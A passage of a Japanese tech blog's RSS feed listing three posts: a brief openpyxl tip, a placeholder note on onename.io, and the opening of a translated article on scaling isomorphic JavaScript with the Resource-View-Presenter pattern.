&lt;/ul&gt;</description></item><item><title>openpyxl の使い方</title><link>https://hdknr.github.io/blogs/posts/2015/02/openpyxl-%E3%81%AE%E4%BD%BF%E3%81%84%E6%96%B9/</link><pubDate>Sat, 21 Feb 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/02/openpyxl-%E3%81%AE%E4%BD%BF%E3%81%84%E6%96%B9/</guid><description>&lt;h1 id="excelでの注意"&gt;Excelでの注意&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;数字の &amp;lsquo;0&amp;rsquo; が None になる&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title># onename.io</title><link>https://hdknr.github.io/blogs/posts/2014/11/%23-onename.io/</link><pubDate>Fri, 14 Nov 2014 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2014/11/%23-onename.io/</guid><description>&lt;h1 id="onenameio"&gt;onename.io&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;delete this later.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>サバクラ両方で動く JavaScript の大規模開発を行うために</title><link>https://hdknr.github.io/blogs/posts/2011/12/%E3%82%B5%E3%83%90%E3%82%AF%E3%83%A9%E4%B8%A1%E6%96%B9%E3%81%A7%E5%8B%95%E3%81%8F-javascript-%E3%81%AE%E5%A4%A7%E8%A6%8F%E6%A8%A1%E9%96%8B%E7%99%BA%E3%82%92%E8%A1%8C%E3%81%86%E3%81%9F%E3%82%81%E3%81%AB/</link><pubDate>Sun, 25 Dec 2011 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2011/12/%E3%82%B5%E3%83%90%E3%82%AF%E3%83%A9%E4%B8%A1%E6%96%B9%E3%81%A7%E5%8B%95%E3%81%8F-javascript-%E3%81%AE%E5%A4%A7%E8%A6%8F%E6%A8%A1%E9%96%8B%E7%99%BA%E3%82%92%E8%A1%8C%E3%81%86%E3%81%9F%E3%82%81%E3%81%AB/</guid><description>&lt;h1 id="サバクラ両方で動く-javascript-の大規模開発を行うために"&gt;サバクラ両方で動く JavaScript の大規模開発を行うために&lt;/h1&gt;
&lt;p&gt;原文：&lt;a href="http://blog.nodejitsu.com/scaling-isomorphic-javascript-code"&gt;Scaling Isomorphic Javascript Code&lt;/a&gt;
(This is just for study, please contact me at tily05 atmark gmail.com if any problem.)&lt;/p&gt;
&lt;p&gt;考えてみれば Model-View-Controller とか MVC ってよく聞くよね。実際どんなものか知ってる？ 抽象的に言うなら「オブジェクト情報の保持されるグラフィック・システム (つまり、ラスターではないグラフィック。ゲームとか) 上に構築された、表示系を中心としたアプリケーションにおいて、主要な機能どうしの関わりをうまく分離すること」とでも言おうか。もう少し深く考えを押し進めてみれば、これは当然、他のさまざまなアプリケーションにもあてはまる言葉 (bucket term ?) だ。&lt;/p&gt;
&lt;p&gt;過去に多くの開発コミュニティが MVC による解決案を提供し、それによってよくあるユースケースにうまく対処し、地位を築くことができた。例をあげるなら、Ruby や Python コミュニティは Rails や Django を作り、MVC アーキテクチャを実現した。&lt;/p&gt;
&lt;p&gt;こうした手法は Java, Ruby, Python といった他の言語では容易に受け入れらてきたが、Node.js について十分ではない。理由は単純で、それはただ、&lt;strong&gt;JavaScript が今や isomorphic な言語である&lt;/strong&gt;からだ。&lt;strong&gt;isomorphic&lt;/strong&gt; というのは「ソースコードのどの行 (もちろん注目すべき例外もあるが) をとってみても、クライアント・サーバーの両方で実行できる」ということを意味している。表面的には無害に見えるが、この特徴のせいで現状の MVC ベースのパターンでは解決できない課題がたくさんある。&lt;/p&gt;
&lt;p&gt;この記事では、まず現存するパターンをいくつか取り上げ、いかにそのようなパターンに関する実装や心配事が言語や環境に関わらず普遍的なものとなり得たか、そのようなパターンがどうして真に &amp;ldquo;isomorphic&amp;rdquo; な Javascript のソースコードにはあまり適していないのかを述べる。そして結論として、新しいパターン &amp;ldquo;Resource-View-Presenter&amp;rdquo; について述べる。&lt;/p&gt;
&lt;h2 id="目次"&gt;目次&lt;/h2&gt;
&lt;p&gt;デザインパターンは、アプリケーションの開発にとってなくてはならないオマンマのような存在である。アプリケーションやその環境についてのさまざまの心配事をカプセル化し、うまくまとめてくれる。ブラウザとサーバの間でこんなにもさまざまの心配事があるからね：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;View を作るとして、(たとえばサーバ側で) 一時的にしか存在しないのか、(たとえばブラウザ側で) 永続するべきものなのか？&lt;/li&gt;
&lt;li&gt;View を作るとして、複数のユースケースやシナリオの間で再利用可能なものか？&lt;/li&gt;
&lt;li&gt;View を作るとして、アプリケーション特有のタグやマークアップが使われているか？&lt;/li&gt;
&lt;li&gt;ビジネスロジックをどこに記述すべきか？ (Model なのか Controller なのか)&lt;/li&gt;
&lt;li&gt;アプリケーションの持つ状態はどのように保持されアクセスされるのか？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;現存するパターンを取り上げ、上記の問題がどのように解決されているのか見てみよう：&lt;/p&gt;</description></item></channel></rss>